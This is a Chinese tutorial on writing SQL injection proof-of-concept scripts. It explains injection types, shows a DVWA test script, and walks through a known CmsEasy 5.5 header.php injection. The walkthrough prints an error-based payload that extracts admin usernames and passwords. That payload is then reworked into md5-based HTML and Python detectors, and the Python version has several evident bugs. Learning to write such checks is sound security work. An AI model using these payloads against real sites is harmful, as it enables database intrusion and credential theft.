poc学习part1

PoC(全称: Proof of Concept), 中文译作概念验证。即漏洞验证程序,而漏洞利用程序即为Exp。因为python的简单易懂加上类库比较丰富,所以首先Python来进行编写。

POC注意事项

  1. 随机性 参数随机(有时候可以不随机)
  2. 通用性 要对一样组件的网站都立,不能是针对个网站
  3. 确定性 要确验证漏洞存在与否

    尝试编写第一个POC

dvwa的sql注入poc

这个是要自己在id参数里面添加’

根据返回结果才可以验证出来

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
import requests

header = {
        "Cookie":""
}
url = input("请输入目标url")
r = requests.get(url,headers=header)
res = str(r.content)
if re.search("syntax",res):
    print("存在sql注入")
else:
    print("不存在sql注入")

这就是一个简单的poc,可用来验证dvwa中cookie类sql注入,程序很简单但却能验证是否存在漏洞

切入

这里提到了sql注入,那就以SQL注入为切入点,恰好sql注入也是很多人入门的一个漏洞。编写之前我们要了解下漏洞原理,以及漏洞的分类

注入原理

是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵

注入分类

下面这些个分类是我个人的见解。

注入点类型分类

数字型注入点

  • 形如http://xxx.com/news.php?id=1这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为select * from 表名 where id=1

  • 字符型注入点*

  • 形如http://xxx.com/news.php?name=admin这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为select * from 表名 where name='admin'。注意多了引号。

  • 搜索型注入点*

  • 这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。

  • 此类注入点提交的 SQL 语句,其原形大致为:*select * from 表名 where 字段 like '%关键字%'

    数据提交方式分类

这种分类其实只是 HTTP 传递数据的方式不同,严格来讲和 SQL 没多大关系,但是在编写 PoC 的时候,这会影响到我们的代码中发送数据的形式

GET 注入

  • 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1, id 是注入点。

  • POST 注入*

  • 使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

  • Cookie 注入*

  • HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

  • HTTP 头部注入*

  • 注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

    执行效果分类

这个分类也是 sqlmap 所支持的注入模式,这个分类的依据也是后面我们用 PoC 判断是否存在注入的依据。

基于报错注入

  • 这一类的也叫有回显注入,页面会返回错误信息,或者是把注入语句的结果直接返回在页面中。

  • 基于布尔的盲注*

  • 根据返回页面的结果判断构造的 SQL 条件语句的真假性

  • 基于时间的盲注*

  • 当根据页面返回的内容不能判断出任何信息时,使用条件语句查看时间延迟语句是否执行,也就是看页面返回时间是否增长来判断是否执行。

    例子分析:

这里因为我是参考着文章进行学习,但是原有漏洞的分析文章已经无了,我先把链接挂在这

https://mp.weixin.qq.com/s/Ef9Bmp53sEuDLv3KwqdI-g

这里poc编写的漏洞是CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞(wooyun-2010-070827)

一般来说如果漏洞的分析文章已经给出了具体的利用方法,我们就可以不关注整个漏洞的成因和原理,直接去看漏洞的复现方式,获得payload和url即可

url:http:/xxx.com/celive/live/header.php

post:xajax=LiveMessage&xajaxargs[0][name]=1’,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),”,”,”,’1’, ‘127.0.0.1’, ‘2’)#

一般不推荐使用在线站点测试,懂的都懂,这里建议本地搭建或者寻找docker测试

该漏洞的注入点在 POST 数据部分,我们需要发起一个 POST 请求,我们选择 Firefox 浏览器和 HackBar 插件。填上目标 url 和 payload,然后发送。可以看到返回页面报错,而报错信息中出现了 cmseasy_user 表中的数据

图片

既然能够成功复现,那就可以尝试poc的编写

编写

编写之前,poc总是单独成体,那如果是多个poc或者是我们需要利用多个poc就应运而生了框架来管理,但是这里我们先用无框架poc编写

根据文章我们可以知道,payload是可以证明漏洞存在的,但是如果直接将poc运用到一些扫描类的产品中,这些肯定是不允许的,所以我们需要遵守几个原则

  • 无损扫描
    也就是要求不能对目标服务器有任何危害,只要证明目标存在漏洞,所以我们只要能证明可以执行 SQL 指令就好了

类似这种

图片

  • 减少误报漏报
    误报和漏报两者相伴相随。如果误报率低了,那么相对的,漏报率就跟警察叔叔抓坏人,一抓一个准,但是这样的话,肯定就会有很多漏网之鱼了。所以就需要找到一个平衡点。

一般来说,大部分人追求的原则是可以漏报,但不能误报

所以就要求我们判断的字符在正常的页面要尽可能不会经常出现,比如可以输出一串md5的值到页面

为什么选 md5 呢,因为 mysql 里面有 md5 这个函数,写起来简单,要是像 Oracle 数据库里面没 md5 这个函数怎么办呢?我们有 char() 函数(Oracle 里面是 chr()),可以把 ASCII 码转化成字符串,手动多打几个随机字符就好啦

根据以上原则,我们把payload进行修改

url:http:/xxx.com/celive/live/header.php

post:xajax=LiveMessage&xajaxargs[0][name]=1’,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),”,”,”,’1’, ‘127.0.0.1’, ‘2’)#

md5(233) 的值就是 e165421110ba03099a1c0393373c5b43

图片

ok,基本复现成功,可以写poc了。

目的是写一个能发送post请求的,然后返回我们设置的md5值

刚开始我们以最最简单的html形式来尝试实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>poc</title>
</head>
<body>
    <form action="http:/xxx.com/celive/live/header.php" method="post">
        <input type="hidden" name="xajax" value="LiveMessage"/>
        <input type="hidden" name="xajaxargs[0][name]" value="1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"/>
        <input type="submit" value="GO"/>
    </form>
</body>
</html>

将上面的html代码,用浏览器打开,点击提交按钮,就能看到效果了。
图片

所以poc的实现形式也是多种多样的,以上html代码也是poc

因为poc是证明漏洞存在的代码,所以代码只要能实现的话,就没有语言之分,看你个人喜欢或者习惯而已。

如果是以Python形式实现就是这样:

原链接使用python2和urllib包进行实现,我这里是python3环境稍加变动而已,不影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import hashlib
import sys

def  verify(url):
    target = "%s/celive/live/header.php" % url
    #要发送的数据
    Post_Data = {
        'xajax':"LiveMessage",
        'xajaxargs[0][name]':"1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
    }
    try:
        #发送HTTP请求
        req = requests.post(url=target,data=Post_Data)
        response = req.text
        if hashlib.md5('233').hexdigest()  in response:
            print("%s is vulnerable") % target
        else:
            print("%s is not vulnerable") % target

    except Exception as e:
        print("Something is wrong")
        print(e)

def main():
    args = sys.argv
    url = ""
    print('This Poc is based on Python3 Environment')
    if len(args) ==  2:
        url = args[1]
        verify(url)
    else:
        print("Usage:python %s url") % (args[0])
   
if __name__ =='__main':
    main()

下面简单讲一下这个代码做了什么:
main 方法里面大概处理了一下用户的输入

verify 方法里面先是拼接了一下要发送的目的 url, 然后把 post_data(也就是我们的 Payload)发送到目的 url, 最后再处理了一下服务端的响应页面。其实整个过程就像是我们自己用浏览器去手工验证一样,只不过实行了自动化改进。

当然上述的代码,实际运行的时候还是需要改进的,毕竟有很多细节的地方还需要再完善。比如说我们的输入部分每个都需要手动输入,假设有很多个 PoC, 这很麻烦了吧,而且不是每个人都能想到那么多特殊情况。另外输出结果的时候,就用了一个 print , 显然这样的输出很不友好,而且一个 PoC 还不能支持批量扫描,如果你想加载多个 PoC 去扫描多个目标的时候,效率就很低下。

所以应运而生了Poc框架,能够有效避免一些重复工作(当然你编程能力很强能够自己改动也是可以的)